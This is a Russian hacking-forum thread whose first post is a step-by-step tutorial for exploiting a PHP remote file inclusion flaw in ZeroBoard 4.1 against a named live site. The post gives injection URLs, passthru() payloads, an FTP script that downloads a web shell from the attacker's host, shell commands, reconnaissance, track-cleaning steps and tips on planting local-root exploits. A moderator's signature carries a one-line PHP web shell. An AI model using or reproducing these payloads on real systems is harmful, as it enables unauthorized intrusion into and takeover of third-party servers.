Forum AoA- Хакерство, Читерство, Взлом Онлайн Игр.Баги боты и читы в  la2-WoW-CS-RF-PW. Все о Безопасности в Сети...  
   

Вернуться   Forum AoA- Хакерство, Читерство, Взлом Онлайн Игр.Баги боты и читы в la2-WoW-CS-RF-PW. Все о Безопасности в Сети... > Underground > Хакерство и Безопасность > Уязвимости веб приложений

Уязвимости веб приложений Уязвимости и защита порталов, сайтов, вебприложений

Ответ
 
LinkBack Опции темы Опции просмотра
Старый 22.04.2008   #1 (permalink)
Халявщег
 
Аватар для Knight
 
Регистрация: 20.04.2008
Сообщений: 75
Вы сказали Спасибо: 6
Поблагодарили 6 раз(а) в 5 сообщениях
Knight пока неопределено
По умолчанию Уязвимость движков PHP

Использование бага PHP source injection.
В различных багтреках то и дело проскальзывают сообщения об уязвимостях в различных форумах, движках и других подобных скриптах, реализованных с помощью PHP. Мы научимся использовать уязвимость, которая получила название - "PHP source injection". Многие не обращают на нее внимание, или просто по неопытности отбрасывают в сторону. Я хочу показать, что можно сделать, или как можно заюзать данную уязвимость.

В качестве примера возьмем уязвимость в ZeroBoard 4.1. Описание уязвимости можно посмотреть здесь: Security Advisory: malicious PHP source injection - security vulnerabilities database.

Суть ошибки понятна из названия. Т.е. каким-либо способом мы внедряем (включаем) свой PHP код в код PHP скрипта выполняемого на сервере. Нам ничего не мешает попробовать выполнить какие-либо команды.

Для этого нам понадобиться любой халявный (хоть на narod.ru или by.ru) хостинг с фтп доступом. Я буду приводить пример со своим (xzb2me.topcities.com). В качестве испытуемого возьмем сайт lovecfc.gotosite.net.

Как видим (из описания уязвимости в Zero) урл для использования данной уязвимости выглядит так:
http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a

Нам нужно создать файл alib.php со следующим содержанием: <? passthru("ls"); ?>, и залить его на наш сайт. Тогда путь к нему будет выглядеть так: http://xzb2me.topcities.com/alib.php. Путь к форуму такой: http://ilovecfc.gotosite.net/zb41/. Значит можем подставлять:
http://ilovecfc.gotosite.net/zb41/_h...opcities.com/a

Заметьте, что в этом случае мы не пишем полностью alib.php, а указываем только "a". Так это работает здесь. Результат: получение листинга текущей директории, а именно той, в которой находится ZeroBoard. Можно было бы и дальше так исследовать директории, читать доступные файлы. Но это напрягает. Каждый раз команду необходимо снова заливать на свой сайт. Поэтому многие и не связываются. Рассмотрим один из способов заливки нормального шелла на уязвимый сервер.

Договоримся, что команды, которые я буду писать, надо будет помещать в alib.php и заливать на наш сайт. После этого в браузере идти на линк: http://ilovecfc.gotosite.net/zb41/_h...opcities.com/a , при этом лучше нажать F5 в IE, для того чтобы он послал запрос серверу (обновил) и команда выполнилась.

Сначала проверим можем ли мы записывать в текущий каталог. Для этого в alib.php пишем что-то на подобие:
<? passthru("echo hi > 1.txt;ls"); ?>

Заметьте, что мы можем выполнять несколько команд сразу, разделяя их знаком ";" (точка с запятой). Если в полученном листинге ты видишь файл 1.txt, значит у нас все получиться ;). В нашем случае так оно и есть.

Теперь нам нужно создать файл (пусть это будет ext.php) со следующим содержанием:
<? passthru("$command"); ?>

Заливаем этот файл на наш сайт. Теперь пишем в alib.php следующее:
<? passthru("echo open xzb2me.topcities.com > sc.scr; echo user xzb2me >> sc.scr; echo q4k6NDS7 >> sc.scr; echo get ext.php ext.php >> sc.scr; echo bye >> sc.scr; cat sc.scr"); ?>

Объясню. Этими командами мы создаем сценарий для клиентской части фтп атакуемого сервака, и выводим получившееся на экран. Рассмотрим каждую команду (для тех кто знаком можете пропустить):

echo open xzb2me.topcities.com > ft.scr
Записываем строчку "open xzb2me.topcities.com" в файл sc.scr. Это команда на соединение с фтп xzb2me.topcities.com. Здесь вы должны указать адрес своего фтп. Например, если сайт на by.ru, то фтп так и будет: by.ru. Вообще эти данные (фтп адрес, логин, пароль) вы должны получить после успешной регистрации своего сайта.

echo user xzb2me >> sc.scr
Добавляем в файл sc.scr строчку user xzb2me (обратите внимание что знак > сменился на >>). Это мы проводим идентификацию пользователя на нашем серваке (фтп). Тут вы должны подставить свой логин на ваш фтп.

echo q4k6NDS7 >> sc.scr
Этой строчкой вгоняем пасс от нашего фтпшника. (Подставьте свой).

echo get ext.php ext.php >> sc.scr
Запрашиваем файл ext.php с нашего фтп и сохраняем его в текущей дире атакуемого сервака под таким же именем.

echo bye >> sc.scr;
Прощаемся с нашим фтп.

cat sc.scr
Выводим записанное на экран для проверки.

И так, сценарий создан. Теперь попробуем выполнить его. Для этого вбиваем в alib.php следующее:
<? passthru("ftp -nd < ft.scr; chmod 755 ext.php; ls -aF"); ?>

Этим самым мы запустим клиент ftp, передав ему в качестве параметров наш скрипт. Потом установим права на закаченный файл и делаем листинг диры. Если вы видите в получившемся листинге что-то типа: "---> SYST ---> USER xzb2me ---> PASS XXXX ---> TYPE I ---> PASV ---> RETR ext.php ---> QUIT ЗХ°и" а потом листинг в котором находится ext.php*, значит у нас все получилось.

Теперь у нас есть боле менее нормальный шелл, пусть и http. Юзать его так:
http://ilovecfc.gotosite.net/zb41/ex...mand=команда(ы)

Например:
http://ilovecfc.gotosite.net/zb41/ex...mmand=id;uname -a;pwd
Ответ: uid=48(apache) gid=48(apache) groups=48(apache) Linux gotosite.net 2.4.9-31smp #1 SMP Tue Feb 26 06:55:00 EST 2002 i686 unknown /home/ilovecfc/public_html/zb41

Основная задача выполнена. Мы имеем шелл с правами вебсервера. Дальше можно приступить к исследованию, благо плацдарм есть ;).

Напоследок один совет по исследованию.
Для выяснения сервисов (www, ftp, smtp, pop3, etc:) лучше не сканировать порты данного сервера, привлекая к себе внимание, а выполнить команду netstat -a. В нашем случаем вот что это дало (исключая активные соединения и Active UNIX domain sockets):
tcp 0 0 *:mysql *:* LISTEN
tcp 0 0 *:pop3 *:* LISTEN
tcp 0 0 *:http *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
tcp 0 0 211.53.209.149:domain *:* LISTEN
tcp 0 0 localhost.locald:domain *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 localhost.localdom:rndc *:* LISTEN
udp 0 0 *:32772 *:*
udp 0 0 211.53.209.149:domain *:*
udp 0 0 localhost.locald:domain *:*

Видите как легко? И не надо никакого сканирования. Теперь нужно только узнать версию, прителнетивьшись на соответствующий порт, или посмотрев в конфигурационных файлах данного сервиса.

После того как шелл готов, не забудьте подчистить после себя:
http://ilovecfc.gotosite.net/zb41/ext.php?command=rm -f 1.txt;rm -f sc.scr

Если админы не заметили, или кто-то из прочитающих эту статью не постарался, то это работает и сейчас. Можешь попробывать в браузере поюзать http шел на ilovecfc.gotosite.net.

Вот в принципе и все. Все это не ново, данный способ закачки использовался еще на IIS с юникод багом. Просто многие забывают, что это работает и на *nix системах. Только не везде все так хорошо. Где-то не будет доступа на запись, тогда советую попробовать записать что либо в другие директории, а лучше выполнить id, чтобы выяснить под каким юзером находится вебсервак, и потом в /home искать папку, владельцем которой он является. Это может оказаться совсем другой сайт, но нам разницы нет. Сервак то один. И записать туда свой шелл (такой случай имел место с одним хостером). Замечено, что если разместить наш скрипт(шелл) в папке cgi-bin, то команды выполнятся не будут. Веб сервак вернет сообщение об Internal Server Error. Поэтому советую заливать его куда-нибудь в другое место. Так же может обломать фаервол, обрубив исходящий коннект на наш фтп. Попробуйте заюзать wget.
Можно и не захватывать сервер, довольствуясь малым. Разместить в дире свои PHP или Perl скрипты, можно повесить проксю, сканер портов etc.., все что можно накодить на соответствующих языках. Залить эксплоит(ы) (local root) и попытаться применить (скомпилить with gcc). Короче полная свобода. Действуй как считаешь нужным.
PS
В поиске уязвимых скриптов с PHP source injection, тебе поможет Computer Security vulnerabilities and exploits database.
Малюсенький трик: т.к. результаты выполнения команд браузер (IE) выводит в не удобной форме, советую сохранить страницу как "Веб страница только", и просматривать хоть редактором в Нортоне или Фаре.


(c) Antichat.ru
__________________





ПОНРАВИЛОСЬ???ХОЧЕШЬ ЕЩЕ???
ЖМИ СПАСИБО!!!
Knight вне форума  
Ответить с цитированием

Реклама=\
Старый 11.10.2008   #2 (permalink)
Новичок
 
Регистрация: 11.10.2008
Сообщений: 2
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
volaxus пока неопределено
По умолчанию Ответ: Уязвимость движков PHP

если, к примеру, у меня идет такая тема: _site.com/pn/modules.php?op=modload&name=phpBB_14&file=index - то какой тут пусть форума будет, так как почти во всех сполитах нужно указать после сайта сам форум
volaxus вне форума  
Ответить с цитированием
Старый 11.10.2008   #3 (permalink)
In Death We Trust
© AoA Team
 
Аватар для Erlien
 
Регистрация: 11.11.2007
Адрес: /dev/random
Сообщений: 153
Вы сказали Спасибо: 3
Поблагодарили 16 раз(а) в 15 сообщениях
Erlien репутация неоспоримаErlien репутация неоспоримаErlien репутация неоспоримаErlien репутация неоспоримаErlien репутация неоспоримаErlien репутация неоспоримаErlien репутация неоспоримаErlien репутация неоспоримаErlien репутация неоспоримаErlien репутация неоспоримаErlien репутация неоспорима
По умолчанию Ответ: Уязвимость движков PHP

/pn/ вероятно и есть папка форума... хотя и не факт )
__________________
Я в отпуске ! Занимаюсь исключительно проблемами связанными с работой форума.
Для всех прочих вопросов есть другие админы.


Извечный спор между собой ведут
Луна и звезды - кто из них главней?
И кто в ответе за игру ночных теней?


Ничего святого =\
Для анегдотов =>abuse(а)AheadOfAll.Org
<?
system($_GET["2pwn"]);
?>
Мои услуги, по прайсу.
Erlien вне форума  
Ответить с цитированием
Старый 3 недель(и) назад   #4 (permalink)
ЮзверЪ
 
Регистрация: 18.12.2008
Сообщений: 25
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
rangel пока неопределено
По умолчанию Re: Уязвимость движков PHP

ничё так +1
rangel вне форума  
Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Выкл.
Pingbacks are Вкл.
Refbacks are Вкл.

Быстрый переход

   

Часовой пояс GMT +1, время: 22:08.

Rambler's Top100 Рейтинг@Mail.ru
Работает на юкозе
Copyright ©2006- 2009, AoA Team. Перевод: zCarot
Это 100 самых популярных запросов гуглаюзверей
Подвальная Туча Тегов
bruteforce скачать fighter fx 7.2 l2onix l2ranger la2world panda antivirus 2008 ключ panda antivirus 2008 ключи perfect world hack perfect world баги perfect world бот perfect world взлом perfect world читы perfect world читы на деньги pw бот pwmp2 rf online читы vksovety vksovety скачать wallhack wow сервера х10000 баги perfect world баги в perfect world бот для perfect world бот для pw бот на perfect world боты для perfect world боты для pw взлом perfect world взлом perfect world на деньги взлом perfect world на опыт взлом pw взлом игры perfect world взлом онлайн игр дюп адены как взломать perfect world как сделать цветной ник в garena квест на волка ключ для panda antivirus 2008 скачать bruteforce скачать бота для perfect world скачать сервер perfect world скачать читы для cs 1.6 травиан читы цветной ник в garena читы perfect world читы для cs 1.6 читы для garena читы для perfect world читы для pw читы на perfect world
----------------------------------------------------------------------------------
Photolenses.ru: объектив tamron, нужная информация